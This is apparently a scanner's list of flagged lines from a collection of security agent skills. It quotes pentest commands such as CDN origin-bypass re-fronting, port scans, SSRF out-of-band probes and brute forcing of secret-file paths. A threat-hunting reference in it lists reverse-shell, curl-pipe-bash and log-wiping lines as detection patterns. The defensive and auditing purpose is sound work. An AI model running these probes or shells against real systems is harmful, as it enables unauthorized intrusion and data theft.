    # 8 edge header tricks for h in "X-Forwarded-Host: evil.example" "X-Original-URL: /admin" "Host: example.com"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done # 9 confirm candidate o
  • Network accessline 63
    for h in "X-Forwarded-Host: evil.example" "X-Original-URL: /admin" "Host: example.com"; do echo "[$h] $(curl -sk -o /dev/null -w '%{http_code} %{size_download}b' -H "$h" https://TARGET/)"; done
  • Network accessline 64
    # 9 confirm candidate origin curl -skI --resolve TARGET:443:CANDIDATE_IP https://TARGET/ | head # 10 port check
  • Network accessline 65
    curl -skI --resolve TARGET:443:CANDIDATE_IP https://TARGET/ | head
  • Network accessline 66
    # 10 port check for p in 22 6443 10250 3306 5432 8080 8443; do nc -z -G2 CANDIDATE_IP $p 2>/dev/null && echo "open $p"; done # 11 shared-egress re-front (needs a known ORIGIN_IP + your own account on the SAME CDN)
  • Network accessline 67
    for p in 22 6443 10250 3306 5432 8080 8443; do nc -z -G2 CANDIDATE_IP $p 2>/dev/null && echo "open $p"; done
  • Network accessline 68
    # 11 shared-egress re-front (needs a known ORIGIN_IP + your own account on the SAME CDN) #   Cloudflare: in your own free zone add a *proxied* A record  peek.YOURZONE -> ORIGIN_IP, SSL=Full, then: curl -sk -o /dev/null -w '%{http_code}\n' h
  • Network accessline 70
    curl -sk -o /dev/null -w '%{http_code}\n' https://peek.YOURZONE/   # 2xx/3xx via YOUR edge = victim's edge-range lock bypassed

skills/applicative-pentest/http-request-smuggling/SKILL.md

  • Network accessline 30
    1. **Confirm a proxy chain exists.** Look for `Via`, `X-Cache`, `Server`, `X-Served-By`, or CDN fingerprints in a normal `curl -I`. A fronted host (Cloudflare/Akamai/Fastly/ALB/nginx) is the interesting case. Note the target and confirm por
  • Network accessline 109
    res, elapsed = None, None     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 110
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)
  • Network accessline 111
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

skills/applicative-pentest/jwt-attacks/SKILL.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 185
    curl -sk -o /dev/null -w '%{http_code}\n' \
  • Network accessline 186
    [Credential-related source omitted]

skills/applicative-pentest/jwt-attacks/references/jwt-secrets.txt

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]
  • Access to secretsline 329
    [Credential-related source omitted]
  • Access to secretsline 499
    [Credential-related source omitted]
  • Access to secretsline 642
    [Credential-related source omitted]
  • Access to secretsline 1595
    [Credential-related source omitted]
  • Access to secretsline 1596
    [Credential-related source omitted]

skills/applicative-pentest/ssrf-oob/SKILL.md

  • Network accessline 59
    - `:80`  -> `http://host`
  • Network accessline 60
    - `:443` -> `https://host`
  • Network accessline 84
    python3 - <<'PY' import urllib.parse, urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)
  • Network accessline 85
    import urllib.parse, urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80) UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
  • Network accessline 86
    OAST="OAST_HOST"; TARGET="https://host"          # from :443 (use http:// for :80)
  • Network accessline 89
    "site","html","val","validate","callback","return","page","feed","host","port","to","out","view","dir"] qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name req=urllib.request.Request(f"{TARGET}?{qs}",head
  • Network accessline 90
    qs=urllib.parse.urlencode({p:f"{p}.{OAST}" for p in params})   # label = the param name req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA}) try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context
  • Network accessline 91
    req=urllib.request.Request(f"{TARGET}?{qs}",headers={"User-Agent":UA})
  • Network accessline 92
    try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
  • Network accessline 97
    python3 - <<'PY' import urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host"
  • Network accessline 98
    import urllib.request, ssl OAST="OAST_HOST"; TARGET="https://host" UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
  • Network accessline 99
    OAST="OAST_HOST"; TARGET="https://host"
  • Network accessline 103
    h={x:f"{x.replace('-','').lower()}.{OAST}" for x in hdrs}      # label = flattened header name h["User-Agent"]=UA req=urllib.request.Request(TARGET,headers=h)
  • Network accessline 104
    h["User-Agent"]=UA req=urllib.request.Request(TARGET,headers=h) try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
  • Network accessline 105
    req=urllib.request.Request(TARGET,headers=h)
  • Network accessline 106
    try: urllib.request.urlopen(req,timeout=10,context=ssl._create_unverified_context())
  • Network accessline 110
    # 2/4 pure-curl one-target param probe (bulk = loop this over the host:port list)
  • Network accessline 111
    curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  • Network accessline 112
    "https://host/?dest=dest.OAST_HOST&redirect=redirect.OAST_HOST&url=url.OAST_HOST&uri=uri.OAST_HOST&path=path.OAST_HOST&continue=continue.OAST_HOST&next=next.OAST_HOST&callback=callback.OAST_HOST&feed=feed.OAST_HOST&host=host.OAST_HOST&out=o
  • Network accessline 114
    # 3  pure-curl one-target header probe
  • Network accessline 115
    curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  • Network accessline 118
    -H "Client-IP: clientip.OAST_HOST"              -H "HTTP-X-Forwarderd-For: httpxforwarderdfor.OAST_HOST" \   -H "HTTP-X-Forwarderd-Host: httpxforwarderdhost.OAST_HOST" \   "https://host/"
  • Network accessline 120
    "https://host/"
  • Network accessline 122
    # 4  bulk sweep over a host:port list (targets.txt = one host:port per line) while IFS=: read -r host port; do   case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac
  • Network accessline 123
    while IFS=: read -r host port; do   case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac   curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \
  • Network accessline 124
    case "$port" in 80) base="http://$host";; 443) base="https://$host";; *) continue;; esac   curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \     "$base/?url=${host//./-}-url.OAST_HOST&redirect=${host//./-}-redirect.OAST_
  • Network accessline 125
    curl -sk -o /dev/null -A "Mozilla/5.0 ... Chrome/102 Safari/537.36" \

skills/applicative-pentest/webapp-probe/SKILL.md

  • Network accessline 140
    For each `domain`, probe management interfaces of RCE-prone stacks across their typical ports, matching a substring in the response body. Cache each port's response and reuse it so overlapping port lists don't re-request. On 80/443 use plai
  • Network accessline 159
    https://web.archive.org/cdx/search/cdx?url={domain}*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json
  • Network accessline 191
    **Confirm dependency confusion (active-3rdparty).** For each candidate, query the public npm registry (`https://registry.npmjs.org/<name>`, URL-encode a `@scope/name`). If it returns **404 / not found**, the private name is unclaimed on the
  • Network accessline 273
    # 7 disclosure-path brute (no redirects; flag 2xx that isn't a soft-404) for p in /.git/HEAD /.git/config /.svn /.env /.env.local /.env.production /.npmrc /package.json /config.json /info.php /phpinfo.php /web.config /storage/logs/laravel.l
  • Network accessline 274
    [Credential-related source omitted]
  • Access to secretsline 274
    [Credential-related source omitted]
  • Network accessline 275
    code=$(curl -sk -o /tmp/b -w '%{http_code}' --max-time 10 "https://TARGET$p")
  • Network accessline 280
    for pp in "80 / Tomcat" "8080 /login Jenkins" "8080 /console Werkzeug" "443 /jolokia jolokia" "443 / __VIEWSTATE" "443 / Plone"; do   set -- $pp; port=$1; path=$2; sig=$3   for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$por
  • Network accessline 281
    set -- $pp; port=$1; path=$2; sig=$3   for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$port$path" | grep -q "$sig" && echo "$sig on $port ($sch)"; done done
  • Network accessline 282
    for sch in http https; do curl -sk --max-time 5 "$sch://TARGET:$port$path" | grep -q "$sig" && echo "$sig on $port ($sch)"; done
  • Network accessline 285
    # 9 Wayback harvest (respect 15/min; back off on 429) curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json" \
  • Dangerous shell operationline 286
    curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json"   | python3 -c 'import sys,json;[print(r[2]) for r in json.load(sys.stdin)[1:]
  • Network accessline 286
    curl -s "https://web.archive.org/cdx/search/cdx?url=example.com*&collapse=urlkey&limit=40000&fl=urlkey,timestamp,original,mimetype,statuscode,length&output=json" \
  • Network accessline 289
    # 10 sourcemap -> node_modules -> npm ownership curl -s https://TARGET/ | grep -oE 'src="[^"]+\.js"' | sed 's/src="//;s/"//' | while read s; do
  • Network accessline 290
    curl -s https://TARGET/ | grep -oE 'src="[^"]+\.js"' | sed 's/src="//;s/"//' | while read s; do
  • Dangerous shell operationline 291
    curl -s "https://TARGET/${s}.map" | python3 -c 'import sys,json;
  • Network accessline 291
    curl -s "https://TARGET/${s}.map" | python3 -c 'import sys,json;
  • Network accessline 292
    d=json.load(sys.stdin); [print(x.split("../node_modules/")[1]) for x in d.get("sources",[]) if "../node_modules" in x]' 2>/dev/null; done | sort -u curl -s -o /dev/null -w '%{http_code}\n' "https://registry.npmjs.org/CANDIDATE_PACKAGE"   # 
  • Network accessline 294
    curl -s -o /dev/null -w '%{http_code}\n' "https://registry.npmjs.org/CANDIDATE_PACKAGE"   # 404 => dependency-confusion-claimable

skills/applicative-pentest/webapp-probe/references/directory-signatures.md

  • Access to secretsline 37
    [Credential-related source omitted]

skills/applicative-pentest/webapp-probe/references/secret-regexes.md

  • Network accessline 34
    [Credential-related source omitted]
  • Network accessline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    | Picatic API Key | `sk_live_[0-9a-z]{32}` | | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` | | Stripe API Key | `(s\|r)k_(live\|test)_[0-9a-zA-Z]{24,255}` |
  • Network accessline 35
    | Picatic API Key | `sk_live_[0-9a-z]{32}` | | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` | | Stripe API Key | `(s\|r)k_(live\|test)_[0-9a-zA-Z]{24,255}` |
  • Network accessline 36
    | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` |
  • Network accessline 36
    | Slack Webhook | `https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}` |

skills/blockchain/safe-hunt/references/defillama-discovery.md

  • Network accessline 13
    https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}.js
  • Dangerous shell operationline 20
    curl -sL "https://api.llama.fi/protocols" | python3 -c "
  • Network accessline 20
    curl -sL "https://api.llama.fi/protocols" | python3 -c "
  • Network accessline 81
    def extract_addresses_from_adapter(slug):     url = f"https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}"     r = requests.get(url, timeout=10)
  • Network accessline 82
    url = f"https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/{slug}"     r = requests.get(url, timeout=10)     if r.status_code != 200:
  • Network accessline 83
    r = requests.get(url, timeout=10)
  • Network accessline 90
    def get_all_treasury_slugs():     r = requests.get("https://api.llama.fi/protocols", timeout=30)
  • Network accessline 91
    r = requests.get("https://api.llama.fi/protocols", timeout=30)
  • Network accessline 150
    If a protocol isn't in DeFiLlama: 1. **GitHub search**: `{protocol} multisig site:github.com` - look for deployed addresses in README or docs 2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts
  • Network accessline 151
    1. **GitHub search**: `{protocol} multisig site:github.com` - look for deployed addresses in README or docs 2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts 3. **From known team member**: `GET /api
  • Network accessline 152
    2. **Etherscan labels**: `https://etherscan.io/accounts/label/safe` - labeled Safe accounts

skills/blockchain/safe-hunt/references/safe-api.md

  • Network accessline 6
    ethereum  → https://api.safe.global/tx-service/eth/api/v1
  • Network accessline 7
    polygon   → https://api.safe.global/tx-service/pol/api/v1
  • Network accessline 8
    arbitrum  → https://api.safe.global/tx-service/arb1/api/v1
  • Network accessline 9
    optimism  → https://api.safe.global/tx-service/oeth/api/v1
  • Network accessline 10
    base      → https://api.safe.global/tx-service/base/api/v1
  • Network accessline 11
    sepolia   → https://api.safe.global/tx-service/sep/api/v1
  • Network accessline 12
    gnosis    → https://api.safe.global/tx-service/gno/api/v1
  • Network accessline 13
    avalanche → https://api.safe.global/tx-service/avax/api/v1
  • Network accessline 14
    bnb       → https://api.safe.global/tx-service/bnb/api/v1

skills/blockchain/safe-hunt/scripts/sweep.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 44
    SAFE_API_BASES = {     "ethereum":  "https://api.safe.global/tx-service/eth/api/v1",
  • Network accessline 45
    "ethereum":  "https://api.safe.global/tx-service/eth/api/v1",
  • Network accessline 46
    "polygon":   "https://api.safe.global/tx-service/pol/api/v1",
  • Network accessline 47
    "arbitrum":  "https://api.safe.global/tx-service/arb1/api/v1",
  • Network accessline 48
    "optimism":  "https://api.safe.global/tx-service/oeth/api/v1",
  • Network accessline 49
    "base":      "https://api.safe.global/tx-service/base/api/v1",
  • Network accessline 50
    "gnosis":    "https://api.safe.global/tx-service/gno/api/v1",
  • Network accessline 51
    "avalanche": "https://api.safe.global/tx-service/avax/api/v1",
  • Network accessline 52
    "bnb":       "https://api.safe.global/tx-service/bnb/api/v1",
  • Network accessline 53
    "sepolia":   "https://api.safe.global/tx-service/sep/api/v1",
  • Network accessline 56
    DEFILLAMA_PROTOCOLS_URL = "https://api.llama.fi/protocols"
  • Network accessline 57
    DEFILLAMA_ADAPTER_BASE = "https://raw.githubusercontent.com/DefiLlama/DefiLlama-Adapters/main/projects/treasury/"
  • Network accessline 122
    url = f"{base}/safes/{address}/"     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:
  • Network accessline 123
    try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:             if r.status == 404:
  • Network accessline 124
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r:
  • Network accessline 127
    if r.status == 429:                 await asyncio.sleep(5)                 async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:
  • Network accessline 128
    await asyncio.sleep(5)                 async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:                     if r2.status != 200:
  • Network accessline 129
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=15)) as r2:
  • Network accessline 145
    url = f"{base}/safes/{address}/multisig-transactions/?limit={limit}&ordering=-nonce"     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:
  • Network accessline 146
    try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:             if r.status != 200:
  • Network accessline 147
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=20)) as r:
  • Network accessline 432
    async with session.get(DEFILLAMA_PROTOCOLS_URL, timeout=aiohttp.ClientTimeout(total=120)) as r:
  • Network accessline 441
    url += ".js" if "." not in slug else ""     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:
  • Network accessline 442
    try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:             if r.status != 200:
  • Network accessline 443
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as r:
  • Network accessline 550
    connector = aiohttp.TCPConnector(limit=20, ssl=ssl.create_default_context(cafile=certifi.where()))
  • Network accessline 551
    async with aiohttp.ClientSession(connector=connector) as session:

skills/blockchain/smart-contract-audit/SKILL.md

  • Network accessline 129
    External resources: - https://consensys.github.io/smart-contract-best-practices/
  • Network accessline 130
    - https://consensys.github.io/smart-contract-best-practices/
  • Network accessline 131
    - https://swcregistry.io/
  • Network accessline 132
    - https://github.com/ethereum/solidity/blob/develop/docs/security-considerations.rst

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-1-reentrancy/readme.md

  • Network accessline 75
    * [https://solodit.cyfrin.io/issues/h-01-reentrancy-in-buy-function-for-erc777-tokens-allows-buying-funds-with-considerable-discount-code4rena-caviar-caviar-contest-git](https://solodit.cyfrin.io/issues/h-01-reentrancy-in-buy-function-for-e

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-10-oracle-manipulation/readme.md

  • Network accessline 66
    * [https://solodit.cyfrin.io/issues/h-01-oracle-price-does-not-compound-code4rena-volt-protocol-volt-protocol-contest-git](https://solodit.cyfrin.io/issues/h-01-oracle-price-does-not-compound-code4rena-volt-protocol-volt-protocol-contest-gi

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-2-precision-errors/readme.md

  • Network accessline 68
    * [https://solodit.cyfrin.io/issues/h-4-victims-fund-can-be-stolen-due-to-rounding-error-and-exchange-rate-manipulation-sherlock-napier-git](https://solodit.cyfrin.io/issues/h-4-victims-fund-can-be-stolen-due-to-rounding-error-and-exchange-
  • Network accessline 69
    * [https://solodit.cyfrin.io/issues/h-05-vault-treats-all-tokens-exactly-the-same-that-creates-huge-arbitrage-opportunities-code4rena-yaxis-yaxis-contest-git](https://solodit.cyfrin.io/issues/h-05-vault-treats-all-tokens-exactly-the-same-th

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-3-arithmetic-errors/readme.md

  • Network accessline 56
    * [https://solodit.cyfrin.io/issues/h-06-incorrect-solidity-version-in-fullmathsol-can-cause-permanent-freezing-of-assets-for-arithmetic-underflow-induced-revert-code4rena-good-entry-good-entry-git](https://solodit.cyfrin.io/issues/h-06-inc

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-4-bad-access-control/readme.md

  • Network accessline 87
    * [https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-none-groupcoin-markdown](https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-5-logic-errors/readme.md

  • Network accessline 109
    * [https://solodit.cyfrin.io/issues/h-02-eth-gets-locked-in-the-groupcoinfactory-contract-pashov-audit-group-none-groupcoin-markdown](https://solodit.cyfrin.io/issues/h-02-update_market-nextepoch-calculation-incorrect-code4rena-canto-canto-

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-6-unchecked-returns/readme.md

  • Network accessline 87
    * [https://solodit.cyfrin.io/issues/m-11-unchecked-return-value-of-low-level-calldelegatecall-code4rena-nextgen-nextgen-git](https://solodit.cyfrin.io/issues/m-11-unchecked-return-value-of-low-level-calldelegatecall-code4rena-nextgen-nextge
  • Network accessline 88
    * [https://solodit.cyfrin.io/issues/lack-of-contract-existence-check-on-delegatecall-may-lead-to-unexpected-behavior-trailofbits-yield-v2-pdf](https://solodit.cyfrin.io/issues/lack-of-contract-existence-check-on-delegatecall-may-lead-to-une
  • Network accessline 89
    * [https://solodit.cyfrin.io/issues/h-03-result-of-transfer-transferfrom-not-checked-code4rena-spartan-protocol-spartan-protocol-contest-git](https://solodit.cyfrin.io/issues/h-03-result-of-transfer-transferfrom-not-checked-code4rena-sparta

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-7-proxy-insecurities/readme.md

  • Network accessline 81
    * [https://solodit.cyfrin.io/issues/h-03-attacker-can-gain-control-of-counterfactual-wallet-code4rena-biconomy-biconomy-smart-contract-wallet-contest-git](https://solodit.cyfrin.io/issues/h-03-attacker-can-gain-control-of-counterfactual-wal
  • Network accessline 82
    * [https://solodit.cyfrin.io/issues/h01-corruptible-storage-upgradeability-pattern-openzeppelin-ribbon-finance-audit-markdown](https://solodit.cyfrin.io/issues/h01-corruptible-storage-upgradeability-pattern-openzeppelin-ribbon-finance-audit
  • Network accessline 83
    * [https://solodit.cyfrin.io/issues/diamond-proxy-initialize-functions-can-be-called-multiple-times-halborn-polemos-lending-pdf](https://solodit.cyfrin.io/issues/diamond-proxy-initialize-functions-can-be-called-multiple-times-halborn-polemo

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-8-slippage/readme.md

  • Network accessline 77
    * [https://solodit.cyfrin.io/issues/h-07-missing-slippage-checks-code4rena-spartan-protocol-spartan-protocol-contest-git](https://solodit.cyfrin.io/issues/h-07-missing-slippage-checks-code4rena-spartan-protocol-spartan-protocol-contest-git)

skills/blockchain/smart-contract-audit/reference/solidity/fv-sol-9-unbounded-loops/readme.md

  • Network accessline 93
    * [https://solodit.cyfrin.io/issues/h-04-unbounded-loop-in-\_removenft-could-lead-to-a-griefingdos-attack-code4rena-visor-visor-contest-git](https://solodit.cyfrin.io/issues/h-04-unbounded-loop-in-_removenft-could-lead-to-a-griefingdos-atta

skills/blockchain/smart-contract-audit/reference/solidity/protocols/nft-gaming.md

  • Network accessline 452
    Return a string containing the literal `{id}` substring as required by EIP-1155: for example, `"https://game.example/metadata/{id}.json"`. Clients will substitute the lowercase hex representation of the token ID, zero-padded to 64 character

skills/cloud/cloud-bucket-brute/SKILL.md

  • Network accessline 39
    # single candidate, AWS virtual-host + GCP JSON API NAME=acme-backups curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \
  • Network accessline 40
    NAME=acme-backups curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \   && echo "aws: not public" || echo "aws: PUBLIC/exists -> https://$NAME.s3.amazonaws.com"
  • Network accessline 41
    curl -s "https://$NAME.s3.amazonaws.com" | grep -qiE 'AccessDenied|NoSuchBucket|IllegalLocationConstraint|AllAccessDisabled' \
  • Network accessline 42
    && echo "aws: not public" || echo "aws: PUBLIC/exists -> https://$NAME.s3.amazonaws.com" curl -s "https://www.googleapis.com/storage/v1/b/$NAME" | grep -qiE 'does not exist|does not have storage.buckets.get' \   && echo "gcp: not public" ||
  • Network accessline 43
    curl -s "https://www.googleapis.com/storage/v1/b/$NAME" | grep -qiE 'does not exist|does not have storage.buckets.get' \

skills/cloud/cloud-bucket-brute/references/cloud-storage-endpoints.md

  • Network accessline 17
    ### AWS S3 - `https://{name}.s3.amazonaws.com`
  • Network accessline 18
    - `https://{name}.s3.amazonaws.com`
  • Network accessline 19
    fail: `AccessDenied`, `NoSuchBucket`, `IllegalLocationConstraintException`, `AllAccessDisabled` - `https://{name}.s3-{region}.amazonaws.com`   fail: `AccessDenied`, `NoSuchBucket`, `PermanentRedirect`, `IllegalLocationConstraintException`, 
  • Network accessline 20
    - `https://{name}.s3-{region}.amazonaws.com`
  • Network accessline 28
    ### Google Cloud Storage - `https://www.googleapis.com/storage/v1/b/{name}`
  • Network accessline 29
    - `https://www.googleapis.com/storage/v1/b/{name}`
  • Network accessline 30
    fail: `The specified bucket does not exist`, `Anonymous caller does not have storage.buckets.get` - `https://{name}.storage.googleapis.com/`   fail: (none - treat any non-error body as a hit; inspect manually)
  • Network accessline 31
    - `https://{name}.storage.googleapis.com/`
  • Network accessline 34
    ### DigitalOcean Spaces - `https://{name}.{region}.digitaloceanspaces.com`
  • Network accessline 35
    - `https://{name}.{region}.digitaloceanspaces.com`
  • Network accessline 39
    ### Alibaba OSS - `https://{name}.oss-{region}.aliyuncs.com`
  • Network accessline 40
    - `https://{name}.oss-{region}.aliyuncs.com`
  • Network accessline 49
    ### Oracle Cloud Object Storage (S3-compat) - `https://{name}.compat.objectstorage.{region}.oraclecloud.com`
  • Network accessline 50
    - `https://{name}.compat.objectstorage.{region}.oraclecloud.com`
  • Network accessline 58
    ### Vultr Object Storage - `https://{region}.vultrobjects.com/{name}`
  • Network accessline 59
    - `https://{region}.vultrobjects.com/{name}`

skills/cloud/infrastructure-audit/SKILL.md

  • Network accessline 130
    Utilize these knowledge sources: - https://docs.docker.com/develop/dev-best-practices/
  • Network accessline 131
    - https://docs.docker.com/develop/dev-best-practices/
  • Network accessline 132
    - https://kubernetes.io/docs/concepts/security/
  • Access to secretsline 173
    [Credential-related source omitted]

skills/defensive/dylib-hijack-scan/scripts/build_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 71
    for h in inv:         recs = h["imports"]         nc = sum(1 for r in recs if r.get("severity") == "critical")
  • Network accessline 72
    recs = h["imports"]         nc = sum(1 for r in recs if r.get("severity") == "critical")         nh = sum(1 for r in recs if r.get("severity") == "high")
  • Network accessline 73
    nc = sum(1 for r in recs if r.get("severity") == "critical")
  • Network accessline 168
    out = []     out.append("<title>Dylib Hijack Report</title>")     out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')
  • Network accessline 169
    out.append("<title>Dylib Hijack Report</title>")     out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')     out.append('<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>')
  • Network accessline 170
    out.append('<link rel="preconnect" href="https://fonts.googleapis.com">')
  • Network accessline 171
    out.append('<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>')
  • Network accessline 172
    out.append('<link rel="stylesheet" href="https://fonts.googleapis.com/css2?'

skills/defensive/dylib-hijack-scan/scripts/scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 596
    [Credential-related source omitted]

skills/defensive/endpoint-threat-hunt/SKILL.md

  • Dangerous shell operationline 51
    - If no → proceed T1-only, all sudo commands → `⏭<U+FE0F> SKIP (T1 only - rerun elevated for full coverage)`.
  • Dangerous shell operationline 56
    - **Linux** - `pkexec <cmd>` if a polkit agent is running (GUI password dialog, same one-prompt principle). Headless/no GUI: ask the user to run `sudo -v` themselves in their terminal first, then hand off remaining T2 commands to that authe
  • Dangerous shell operationline 61
    **Step 2 - Run commands:** Run every applicable check. If T2, sudo commands run normally. If T1, skip sudo commands with the T1-only label. Skip entirely only if binary is genuinely absent (`command -v tool` fails) or requires KEXT/eBPF/SIP

skills/defensive/endpoint-threat-hunt/references/coverage-constraints.md

  • Dangerous shell operationline 129
    | Unified Logging (`log show`) | No | Yes | Needs sudo |
  • Dangerous shell operationline 135
    | Sudo events | No | Yes | |

skills/defensive/endpoint-threat-hunt/references/ioc-patterns.md

  • Network accessline 111
    # These patterns in cron, scheduled tasks, or startup scripts: curl http[s]://... | bash
  • Dangerous shell operationline 112
    curl http[s]://... | bash
  • Network accessline 112
    curl http[s]://... | bash
  • Dangerous shell operationline 113
    curl http[s]://... | sh
  • Network accessline 113
    curl http[s]://... | sh
  • Dangerous shell operationline 114
    wget -O- http[s]://... | bash
  • Network accessline 114
    wget -O- http[s]://... | bash
  • Network accessline 115
    wget -q http[s]://... -O /tmp/x && chmod +x /tmp/x && /tmp/x
  • Dangerous shell operationline 116
    python -c "import urllib; exec(urllib.urlopen('http://...').read())"
  • Network accessline 116
    python -c "import urllib; exec(urllib.urlopen('http://...').read())"
  • Network accessline 118
    IEX(New-Object Net.WebClient).DownloadString('http://...')
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 153
    | Pattern | Severity | Notes | |---------|----------|-------| | `curl \| bash` or `wget \| sh` | Critical | Download and execute |
  • Network accessline 154
    |---------|----------|-------| | `curl \| bash` or `wget \| sh` | Critical | Download and execute | | `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution |
  • Dangerous shell operationline 155
    | `curl \| bash` or `wget \| sh` | Critical | Download and execute |
  • Network accessline 155
    | `curl \| bash` or `wget \| sh` | Critical | Download and execute |
  • Dangerous shell operationline 156
    | `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution |
  • Network accessline 156
    | `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution | | `python -c "import socket..."` | Critical | Classic Python reverse shell | | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |
  • Network accessline 157
    | `python -c "import socket..."` | Critical | Classic Python reverse shell | | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell | | `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |
  • Dangerous shell operationline 158
    | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |
  • Network accessline 158
    | `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |
  • Dangerous shell operationline 159
    | `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |
  • Network accessline 159
    | `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |
  • Dangerous shell operationline 167
    | `rm -rf /var/log/` | Critical | Log destruction |
  • Dangerous shell operationline 264
    sudo log show --predicate 'eventMessage contains "task_for_pid"' --last 4h --style compact
  • Network accessline 298
    # These patterns in .bashrc, .bash_profile, .profile, /etc/profile.d/ bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
  • Dangerous shell operationline 299
